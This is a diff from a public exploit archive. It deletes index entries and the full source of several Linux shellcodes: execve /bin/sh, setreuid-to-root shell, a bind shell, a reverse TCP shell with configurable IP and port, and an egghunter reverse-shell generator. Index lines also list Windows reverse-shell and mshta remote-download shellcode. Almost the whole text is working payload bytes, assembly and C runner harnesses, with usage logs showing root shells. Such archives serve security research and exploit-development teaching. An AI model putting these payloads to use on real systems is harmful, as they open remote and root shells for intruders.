48703,shellcodes/linux_x86/48703.c,"Linux/x86 - Egghunter (0x50905090) + sigaction + execve(/bin/sh) Shellcode (35 bytes)",1970-01-01,danf42,shellcode,linux_x86
|
48703,shellcodes/linux_x86/48703.c,"Linux/x86 - Egghunter (0x50905090) + sigaction + execve(/bin/sh) Shellcode (35 bytes)",1970-01-01,danf42,shellcode,linux_x86
|
||||||
48718,shellcodes/windows_x86/48718.c,"Windows/x86 - Download File (http://192.168.43.192:8080/9MKWaRO.hta) Via mshta Shellcode (100 bytes)",1970-01-01,"Siddharth Sharma",shellcode,windows_x86
|
48718,shellcodes/windows_x86/48718.c,"Windows/x86 - Download File (http://192.168.43.192:8080/9MKWaRO.hta) Via mshta Shellcode (100 bytes)",1970-01-01,"Siddharth Sharma",shellcode,windows_x86
|
||||||
49768,shellcodes/linux_x86/49768.c,"Linux/x86 - execve(/bin/sh) Shellcode (17 bytes)",1970-01-01,s1ege,shellcode,linux_x86
|
|
||||||
49770,shellcodes/linux_x86-64/49770.c,"Linux/x64 - execve(/bin/sh) Shellcode (21 bytes) (2)",1970-01-01,s1ege,shellcode,linux_x86-64
|
|
||||||
49855,shellcodes/linux_x86/49855.c,"Linux/x86 - setreuid(0) + execve(_/bin/sh_) Shellcode (29 bytes)",1970-01-01,"Artur Szymczak",shellcode,linux_x86
|
|
||||||
50124,shellcodes/linux_x86/50124.c,"Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes)",1970-01-01,d7x,shellcode,linux_x86
|
|
||||||
50125,shellcodes/linux_x86/50125.c,"Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes)",1970-01-01,d7x,shellcode,linux_x86
|
|
||||||
50141,shellcodes/linux_x86/50141.c,"Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode",1970-01-01,d7x,shellcode,linux_x86
|
|
||||||
50291,shellcodes/windows_x86-64/50291.c,"Windows/x64 - Reverse TCP (192.168.201.11:4444) Shellcode (330 Bytes)",1970-01-01,"Xenofon Vassilakopoulos",shellcode,windows_x86-64
|
50291,shellcodes/windows_x86-64/50291.c,"Windows/x64 - Reverse TCP (192.168.201.11:4444) Shellcode (330 Bytes)",1970-01-01,"Xenofon Vassilakopoulos",shellcode,windows_x86-64
|
||||||
|
|
|
||||||
|
|
|
@ -1,46 +0,0 @@
|
||||||
# Linux/x64 - execve(/bin/sh) Shellcode (21 bytes)
|
|
||||||
# Author: s1ege
|
|
||||||
# Tested on: x86_64 GNU/Linux
|
|
||||||
# Shellcode Length: 21
|
|
||||||
|
|
||||||
/*
|
|
||||||
|
|
||||||
################################################
|
|
||||||
objdump disassembly
|
|
||||||
################################################
|
|
||||||
401000: 50 push %rax
|
|
||||||
401001: 48 31 d2 xor %rdx,%rdx
|
|
||||||
401004: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
|
|
||||||
40100b: 2f 73 68
|
|
||||||
40100e: 53 push %rbx
|
|
||||||
40100f: 54 push %rsp
|
|
||||||
401010: 5f pop %rdi
|
|
||||||
401011: b0 3b mov $0x3b,%al
|
|
||||||
401013: 0f 05 syscall
|
|
||||||
################################################
|
|
||||||
|
|
||||||
################################################
|
|
||||||
shellcode.asm
|
|
||||||
################################################
|
|
||||||
; nasm -felf64 shellcode.asm && ld shellcode.o -o shellcode
|
|
||||||
section .text
|
|
||||||
global _start
|
|
||||||
_start:
|
|
||||||
push rax
|
|
||||||
xor rdx, rdx
|
|
||||||
mov rbx, 0x68732f2f6e69622f
|
|
||||||
push rbx
|
|
||||||
push rsp
|
|
||||||
pop rdi
|
|
||||||
mov al, 59
|
|
||||||
syscall
|
|
||||||
################################################
|
|
||||||
*/
|
|
||||||
unsigned char shellcode[] = \
|
|
||||||
"\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
int (*ret)() = (int(*)())shellcode;
|
|
||||||
ret();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
@ -1,30 +0,0 @@
|
||||||
# Linux/x86 - execve(/bin/sh) Shellcode (17 bytes)
|
|
||||||
# Author: s1ege
|
|
||||||
# Tested on: i686 GNU/Linux
|
|
||||||
# Shellcode length: 17
|
|
||||||
|
|
||||||
/*
|
|
||||||
; nasm -felf32 shellcode.asm && ld -melf_i386 shellcode.o -o shellcode
|
|
||||||
section .text
|
|
||||||
global _start
|
|
||||||
_start:
|
|
||||||
push 0x0b
|
|
||||||
pop eax
|
|
||||||
push 0x0068732f
|
|
||||||
push 0x6e69622f
|
|
||||||
mov ebx, esp
|
|
||||||
int 0x80
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
unsigned char code[] = \
|
|
||||||
"\x6a\x0b\x58\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
printf("Shellcode Length: %lu\n", sizeof(code)-1); // subtract null byte
|
|
||||||
int (*ret)() = (int(*)())code;
|
|
||||||
ret();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
@ -1,41 +0,0 @@
|
||||||
/*
|
|
||||||
Author: Artur [ajes] Szymczak (2021)
|
|
||||||
Function: Linux x86 shellcode, setreuid to 0 and then execute /bin/sh
|
|
||||||
Size: 29 bytes
|
|
||||||
|
|
||||||
Testing:
|
|
||||||
|
|
||||||
$ gcc -fno-stack-protector -z execstack shellcode_tester.c -o shellcode
|
|
||||||
shellcode_tester.c: In function ‘main’:
|
|
||||||
shellcode_tester.c:25:2: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]
|
|
||||||
shellcode_tester.c:25:24: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]
|
|
||||||
$ sudo chown root:root ./shellcode
|
|
||||||
$ sudo chmod u+s ./shellcode
|
|
||||||
$ ./shellcode
|
|
||||||
Length: 29
|
|
||||||
# id
|
|
||||||
uid=0(root) gid=1000(artur) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(artur)
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
char shellcode[] = ""
|
|
||||||
"\x31\xc0" // clear eax, as we don't know its state
|
|
||||||
"\xb0\x46" // syscall setreuid
|
|
||||||
"\x31\xdb" // real user ID = 0
|
|
||||||
"\x31\xc9" // effective user ID = 0
|
|
||||||
"\x99" // saved set-user-ID = 0 (using EDX)
|
|
||||||
"\xcd\x80" // call it
|
|
||||||
|
|
||||||
"\x96" // clear eax, as we don't know its state after former syscall
|
|
||||||
"\xb0\x0b" // syscall execve
|
|
||||||
"\x53" // NULL string terminator
|
|
||||||
"\x68\x2f\x2f\x73\x68" // //sh
|
|
||||||
"\x68\x2f\x62\x69\x6e" // /bin
|
|
||||||
"\x89\xe3" // pointer to above string - path to the program to execve
|
|
||||||
"\xcd\x80"; // call it
|
|
||||||
|
|
||||||
void main(void)
|
|
||||||
{
|
|
||||||
printf("Length: %d\n",strlen(shellcode));
|
|
||||||
((void(*)(void))shellcode)();
|
|
||||||
}
|
|
||||||
|
|
@ -1,195 +0,0 @@
|
||||||
# Exploit Title: Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes)
|
|
||||||
# Date: 08/07/2021
|
|
||||||
# Exploit Author: d7x
|
|
||||||
# Tested on: Ubuntu x86
|
|
||||||
|
|
||||||
/***
|
|
||||||
Linux/x86 Bind Shell (/bin/sh) with dynamic port binding Null-Free Shellcode (102 bytes)
|
|
||||||
Usage: gcc -z execstack -o bindshell bindshell.c
|
|
||||||
./bindshell 7000
|
|
||||||
Binding to 7000 (0x1b58)
|
|
||||||
|
|
||||||
netstat -antlp | grep 7000
|
|
||||||
tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN 26088/bindshell
|
|
||||||
nc -nv 127.0.0.1 7000
|
|
||||||
Connection to 127.0.0.1 7000 port [tcp/*] succeeded!
|
|
||||||
id
|
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
|
||||||
|
|
||||||
*** Created by d7x
|
|
||||||
https://d7x.promiselabs.net
|
|
||||||
https://www.promiselabs.net ***
|
|
||||||
***/
|
|
||||||
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
unsigned char shellcode[] = \
|
|
||||||
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";
|
|
||||||
|
|
||||||
main(int argc, char *argv[])
|
|
||||||
{
|
|
||||||
|
|
||||||
/* Default port at 28th and 29th byte index: \x11\x5c */
|
|
||||||
|
|
||||||
// in case no port is provided the default would be used
|
|
||||||
if (argc < 2) {
|
|
||||||
printf("No port provided, 4444 (0x115c will be used)\n");
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
|
|
||||||
int port = atoi(argv[1]);
|
|
||||||
printf("Binding to %d (0x%x)\n", port, port);
|
|
||||||
|
|
||||||
unsigned int p1 = (port >> 8) & 0xff;
|
|
||||||
unsigned int p2 = port & 0xff;
|
|
||||||
// printf("%x %x\n", p1, p2);
|
|
||||||
|
|
||||||
shellcode[28] = (unsigned char){p1};
|
|
||||||
shellcode[29] = (unsigned char){p2};
|
|
||||||
|
|
||||||
// printf("%x %x", shellcode[28], shellcode[29]);
|
|
||||||
}
|
|
||||||
|
|
||||||
int (*ret)() = (int(*)())shellcode;
|
|
||||||
|
|
||||||
ret();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
/***
|
|
||||||
; shellcode assembly
|
|
||||||
|
|
||||||
|
|
||||||
global _start:
|
|
||||||
|
|
||||||
section .text
|
|
||||||
|
|
||||||
_start:
|
|
||||||
; socketcall (0x66)
|
|
||||||
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
|
|
||||||
xor eax, eax
|
|
||||||
xor ebx, ebx
|
|
||||||
mov al, 0x66
|
|
||||||
mov bl, 0x01
|
|
||||||
|
|
||||||
; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
|
|
||||||
xor edx, edx
|
|
||||||
push edx ; int domain
|
|
||||||
|
|
||||||
push 0x01 ; SOCK_STREAM
|
|
||||||
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)
|
|
||||||
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; save returned file descriptor from eax into esi for later use
|
|
||||||
mov esi, eax
|
|
||||||
|
|
||||||
; socketcall (0x66)
|
|
||||||
; syscall BIND (0x02) - int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
|
||||||
mov al, 0x66
|
|
||||||
mov bl, 0x02
|
|
||||||
|
|
||||||
; pushing arguments to the stack backwards:
|
|
||||||
; bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
|
|
||||||
|
|
||||||
; xor edx, edx
|
|
||||||
push edx
|
|
||||||
push word 0x5c11 ; port 4444
|
|
||||||
push word 0x02 ; PF_INET
|
|
||||||
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
push 0x10 ; sockaddr length
|
|
||||||
push ecx ; sockaddr pointer
|
|
||||||
push esi ; saved socket descriptor
|
|
||||||
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; socketcall (0x66)
|
|
||||||
; syscall SYS_LISTEN (0x04) - int listen(int sockfd, int backlog);
|
|
||||||
mov al, 0x66
|
|
||||||
mov bl, 0x04
|
|
||||||
|
|
||||||
; pushing arguments to the stack backwards:
|
|
||||||
; listen(sockid, 0);
|
|
||||||
push edx ; push 0
|
|
||||||
|
|
||||||
push esi ; socket file descriptor saved earlier in esi
|
|
||||||
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; socketcall (0x66)
|
|
||||||
; syscall SYS_ACCEPT (0x05) - int sock_accept = accept(sockid, 0, 0);
|
|
||||||
mov al, 0x66
|
|
||||||
mov bl, 0x05
|
|
||||||
|
|
||||||
push edx
|
|
||||||
push esi ; socket file descriptor saved earlier in esi
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; save returned file descriptor from eax into esi for later use
|
|
||||||
mov esi, eax
|
|
||||||
|
|
||||||
; dup2 (0x3f)
|
|
||||||
; 0 ; stdin
|
|
||||||
|
|
||||||
; dup2 (0x3f)
|
|
||||||
; 1 ; stdout
|
|
||||||
|
|
||||||
; dup2 (0x3f)
|
|
||||||
; 2 ; stderr
|
|
||||||
; let's put all this in a loop
|
|
||||||
xor ecx, ecx
|
|
||||||
|
|
||||||
DUPCOUNT:
|
|
||||||
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2 63
|
|
||||||
; int dup2(int oldfd, int newfd);
|
|
||||||
|
|
||||||
; xor eax, eax
|
|
||||||
mov al, 0x3f
|
|
||||||
|
|
||||||
; ebx (socket descriptor, being copied over from esi saved earlier)
|
|
||||||
; ecx will be calculated automatically based on the loop value
|
|
||||||
mov ebx, esi ; saved socket descriptor
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
inc cl
|
|
||||||
cmp cx, 2
|
|
||||||
jle DUPCOUNT ; count until 2 is reached
|
|
||||||
|
|
||||||
|
|
||||||
; execve (0x0b)
|
|
||||||
; /bin//sh
|
|
||||||
xor eax, eax
|
|
||||||
; xor ebx, ebx
|
|
||||||
; sub esp, 8 ; reserve some bytes in the stack to work with
|
|
||||||
push eax ; substituted sub esp, 8 to reduce opcode size
|
|
||||||
|
|
||||||
mov al, 0x0b
|
|
||||||
push 0x68732f2f ; //sh
|
|
||||||
push 0x6e69622f ; /bin
|
|
||||||
mov ebx, esp
|
|
||||||
|
|
||||||
xor ecx, ecx
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
***/
|
|
||||||
|
|
@ -1,174 +0,0 @@
|
||||||
# Exploit Title: Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes)
|
|
||||||
# Date: 10/07/2021
|
|
||||||
# Exploit Author: d7x
|
|
||||||
# Tested on: Ubuntu x86
|
|
||||||
|
|
||||||
/***
|
|
||||||
Linux/x86 Reverse TCP Shell with dynamic IP and port binding Shellcode (tested on Ubuntu 12.04 LTS)
|
|
||||||
Usage: gcc -z execstack -o shell_reverse_tcp shell_reverse_tcp.c
|
|
||||||
$ ./shell_reverse_tcp_shellcode 192.168.1.137 4444
|
|
||||||
Connecting to 192.168.1.236 (0xec01a8c0):4444 (0x115c)
|
|
||||||
Byte 26: c0
|
|
||||||
Byte 27: a8
|
|
||||||
Byte 28: 01
|
|
||||||
Byte 29: ec
|
|
||||||
|
|
||||||
$ nc -nlv 4444
|
|
||||||
Listening on 0.0.0.0 4444
|
|
||||||
Connection received on 192.168.1.137 45219
|
|
||||||
id
|
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
|
||||||
|
|
||||||
*** Created by d7x
|
|
||||||
https://d7x.promiselabs.net
|
|
||||||
https://www.promiselabs.net ***
|
|
||||||
***/
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <netdb.h>
|
|
||||||
|
|
||||||
unsigned char shellcode[] = \
|
|
||||||
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; //IP address at 26th byte; Port at 32nd byte
|
|
||||||
|
|
||||||
main(int argc, char *argv[])
|
|
||||||
{
|
|
||||||
|
|
||||||
/* Default IP and port at 26th and 32nd byte index: \x7f\x01\x01\x01 \x11\x5c */
|
|
||||||
|
|
||||||
// in case no port is provided the default would be used
|
|
||||||
if (argc < 3) {
|
|
||||||
printf("No IP or port provided, 127.1.1.1:4444 (0x7f010101:0x115c) will be used\n");
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
|
|
||||||
// convert IP address to binary representation and store in ipaddr.sin_addr.s_addr
|
|
||||||
struct sockaddr_in ipaddr;
|
|
||||||
inet_aton(argv[1], &ipaddr.sin_addr.s_addr);
|
|
||||||
|
|
||||||
int port = atoi(argv[2]);
|
|
||||||
printf("Connecting to %s (0x%x):%d (0x%x)\n", argv[1], ipaddr.sin_addr.s_addr, port, port);
|
|
||||||
|
|
||||||
unsigned int p1 = (port >> 8) & 0xff;
|
|
||||||
unsigned int p2 = port & 0xff;
|
|
||||||
// printf("%x %x\n", p1, p2);
|
|
||||||
|
|
||||||
shellcode[32] = (unsigned char){p1};
|
|
||||||
shellcode[33] = (unsigned char){p2};
|
|
||||||
|
|
||||||
/* 1st byte: 0xAABBCCDD >> 0 & 0xff
|
|
||||||
2nd byte: 0xAABBCCDD >> 8 & 0xff
|
|
||||||
3rd byte: 0xAABBCCDD >> 16 & 0xff
|
|
||||||
4th byte: 0xAABBCCDD >> 24 & 0xff
|
|
||||||
*/
|
|
||||||
|
|
||||||
int i, a;
|
|
||||||
for (i = 26, a = 0; i <= 29; i++, a+=8)
|
|
||||||
{
|
|
||||||
shellcode[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ;
|
|
||||||
printf("Byte %d: %.02x\n", i, shellcode[i]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int (*ret)() = (int(*)())shellcode;
|
|
||||||
|
|
||||||
ret();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
/***
|
|
||||||
; shellcode assembly
|
|
||||||
|
|
||||||
global _start:
|
|
||||||
|
|
||||||
section .text
|
|
||||||
|
|
||||||
_start:
|
|
||||||
; socketcall (0x66)
|
|
||||||
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
|
|
||||||
xor eax, eax
|
|
||||||
xor ebx, ebx
|
|
||||||
mov al, 0x66
|
|
||||||
mov bl, 0x01
|
|
||||||
|
|
||||||
; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
|
|
||||||
xor edx, edx
|
|
||||||
push edx ; int domain
|
|
||||||
|
|
||||||
push 0x01 ; SOCK_STREAM
|
|
||||||
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)
|
|
||||||
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; save returned file descriptor from eax into esi for later use
|
|
||||||
mov esi, eax
|
|
||||||
|
|
||||||
; socketcall (0x66)
|
|
||||||
; syscall SYS_CONNECT (0x03) - int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
|
||||||
mov al, 0x66
|
|
||||||
mov bl, 0x03
|
|
||||||
|
|
||||||
; pushing arguments to the stack backwards:
|
|
||||||
; connect(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
|
|
||||||
|
|
||||||
push 0x0101017f ; 127.1.1.1
|
|
||||||
push word 0x5c11 ; port 4444
|
|
||||||
push word 0x02 ; PF_INET
|
|
||||||
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
push 0x10 ; sockaddr length
|
|
||||||
push ecx ; sockaddr pointer
|
|
||||||
push esi ; saved socket descriptor
|
|
||||||
|
|
||||||
mov ecx, esp
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
|
|
||||||
; dup2 - __NR_dup2 63
|
|
||||||
; dup2(0), dup2(1), dup2(2)
|
|
||||||
; (0 - stdin, 1 - stdout, 2 - stderr)
|
|
||||||
|
|
||||||
; let's put all this in a loop
|
|
||||||
xor ecx, ecx
|
|
||||||
|
|
||||||
DUPCOUNT:
|
|
||||||
; int dup2(int oldfd, int newfd);
|
|
||||||
xor eax, eax
|
|
||||||
mov al, 0x3f
|
|
||||||
|
|
||||||
; ebx (socket descriptor, being copied over from esi saved earlier)
|
|
||||||
; ecx will be calculated automatically based on the loop value
|
|
||||||
|
|
||||||
; xor ebx, ebx
|
|
||||||
mov ebx, esi ; saved socket descriptor
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
inc cl
|
|
||||||
cmp cx, 2
|
|
||||||
jle DUPCOUNT ; count until 2 is reached
|
|
||||||
|
|
||||||
|
|
||||||
; execve (0x0b)
|
|
||||||
; /bin//sh
|
|
||||||
xor eax, eax
|
|
||||||
; xor ebx, ebx
|
|
||||||
push eax ; reserve some bytes in the stack to work with
|
|
||||||
|
|
||||||
mov al, 0x0b
|
|
||||||
push 0x68732f2f ; //sh
|
|
||||||
push 0x6e69622f ; /bin
|
|
||||||
mov ebx, esp
|
|
||||||
|
|
||||||
xor ecx, ecx
|
|
||||||
|
|
||||||
; syscall
|
|
||||||
int 0x80
|
|
||||||
***/
|
|
||||||
|
|
@ -1,214 +0,0 @@
|
||||||
# Exploit Title: Linux/x86 - Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode
|
|
||||||
# Date: 18/07/2021
|
|
||||||
# Exploit Author: d7x
|
|
||||||
# Tested on: Ubuntu x86
|
|
||||||
|
|
||||||
/***
|
|
||||||
Linux/x86 - Egghunter Reverse TCP Shell Shellcode Generator with dynamic IP and port Shellcode
|
|
||||||
Author: d7x
|
|
||||||
https://d7x.promiselabs.net/
|
|
||||||
https://www.promiselabs.net/
|
|
||||||
***/
|
|
||||||
|
|
||||||
/*
|
|
||||||
Egghunter payloads from skape modified to work on a modern up to date architecture
|
|
||||||
For detailed information on the egghunter payloads and egghunter research refer to the original whitepaper by skape:
|
|
||||||
Safely Searching Process Virtual Address Space http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
|
|
||||||
Example usage of egghunters https://www.fuzzysecurity.com/tutorials/expDev/4.html
|
|
||||||
*/
|
|
||||||
|
|
||||||
/* Usage: $ gcc -fno-stack-protector -z execstack -o egghunter egghunter_shellcode.c
|
|
||||||
$ ./egghunter 2 3d7xC0D3 192.168.1.137 6666 # This will output AND execute the egghunter! (if you get a seg fault/core dumped error either your shellcode output contains null bytes or you have no idea what you are doing)
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <netdb.h>
|
|
||||||
|
|
||||||
void PrintShellcode(unsigned char* s);
|
|
||||||
void change_shellcode_bytes(unsigned char shellcode[], int offset, int n, unsigned char new[]);
|
|
||||||
unsigned char* ConvertStrToHex(unsigned char* s);
|
|
||||||
|
|
||||||
unsigned char egghunter[][200] = { \
|
|
||||||
{"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"}, // access method - 39 bytes
|
|
||||||
{"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"}, //access revisited (fixed) - 37 bytes
|
|
||||||
{"\x31\xC9\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"} //sigaction method (fixed) - 32 bytes
|
|
||||||
};
|
|
||||||
|
|
||||||
/* unsigned char egghunter[] = \
|
|
||||||
"\x31\xC9\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (fixed) - 32 bytes
|
|
||||||
//"\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (original version by skape - 30 bytes)
|
|
||||||
//"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (fixed) - 37 bytes
|
|
||||||
//"\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (original version by skape) - 35 bytes
|
|
||||||
//"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"; // access method - 39 bytes
|
|
||||||
*/
|
|
||||||
|
|
||||||
/* Reverse TCP Shell:
|
|
||||||
egg \x90\x50\x90\x50\x90\x50\x90\x50
|
|
||||||
127.1.1.1 4444 */
|
|
||||||
unsigned char shellcode[] = \
|
|
||||||
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; //IP address at eggsize + 26th byte; Port at eggsize + 32nd byte
|
|
||||||
|
|
||||||
int eggsize = 4; //default
|
|
||||||
|
|
||||||
main(int argc, char *argv[])
|
|
||||||
{
|
|
||||||
|
|
||||||
if (argc < 2)
|
|
||||||
{
|
|
||||||
printf("Usage: %s <egghunter> [egg] [IP] [Port]", argv[0]);
|
|
||||||
printf("\nExample: %s 0 0x9050 127.1.1 4444\n"
|
|
||||||
"%s 1 AABB 127.1.1.1 4444\n"
|
|
||||||
"%s 2 AABBCCDD 127.1.1.1 4444\n"
|
|
||||||
"%s 2 3d7xC0D3 127.1.1.1 4444\n", argv[0], argv[0], argv[0], argv[0]);
|
|
||||||
printf("\n\nDefault egg: \\x90\\x50\\x90\\x50 (push eax, nop, push eax, nop)"
|
|
||||||
"\nDefault shellcode IP and port 127.1.1.1:4444");
|
|
||||||
printf("\n\nAvailable egghunters:"
|
|
||||||
"\n0 - access method (39 bytes), requires executable egg"
|
|
||||||
"\n1 - access revisited (37 bytes)"
|
|
||||||
"\n2 - sigaction (32 bytes)\n"
|
|
||||||
);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int eh = atoi((char *)argv[1]);
|
|
||||||
if (eh < 0 || eh > 2)
|
|
||||||
{
|
|
||||||
printf("Invalid Egghunter: %d!\n", eh);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (argc > 2)
|
|
||||||
{
|
|
||||||
if (argv[2][0] == '0' && argv[2][1] == 'x') argv[2] += 2;
|
|
||||||
|
|
||||||
if (strlen(argv[2]) != 4 && strlen(argv[2]) != 8)
|
|
||||||
{
|
|
||||||
printf("Egg has to be at least 4 or exactly 8 bytes!"
|
|
||||||
"\nExample eggs: 9050, 9060, C0D3,"
|
|
||||||
"\n d7xC0D3D, 3d7xC0D3, 3d7xC0D3, 7d7xC0D3"
|
|
||||||
"\n"
|
|
||||||
);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int i;
|
|
||||||
for (i = 0; i < strlen(argv[2]); i+=2)
|
|
||||||
if (argv[2][i] == '0' && argv[2][i+1] == '0')
|
|
||||||
{
|
|
||||||
printf("No null bytes!\n");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
